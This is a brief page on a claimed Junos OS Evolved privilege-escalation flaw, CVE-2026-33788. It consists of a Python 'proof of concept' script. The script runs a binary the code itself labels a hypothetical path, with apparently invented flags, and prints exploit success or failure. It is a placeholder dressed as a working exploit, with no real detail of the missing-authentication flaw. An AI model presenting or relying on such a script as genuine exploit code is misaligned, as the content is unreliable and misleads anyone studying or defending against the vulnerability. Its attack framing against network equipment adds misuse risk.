CVE-2026-33788 Junos OS Evolved权限提升漏洞

# Proof of Concept for CVE-2026-33788 # This script demonstrates a conceptual exploit for the Missing Authentication vulnerability. # It simulates a local low-privileged user gaining direct access to FPC functions. import subprocess import sys def exploit_cve_2026_33788(): target_binary = "/usr/sbin/fpc_control" # Hypothetical path print("[+] Attempting to exploit CVE-2026-33788...") print(f"[+] Targeting: {target_binary}") # In a real scenario, the attacker would invoke the specific function # that lacks authentication checks. try: # Simulating command execution that requires high privileges # but is accessible due to the vulnerability. result = subprocess.run( [target_binary, "--direct-access", "--privileged-mode"], capture_output=True, text=True, timeout=5 ) if result.returncode == 0: print("[!] Exploit successful! Gained access to FPC.") print(f"[!] Output: {result.stdout}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Error: {result.stderr}") except FileNotFoundError: print("[-] Target binary not found on this system.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "--check": print("Checking environment...") exploit_cve_2026_33788()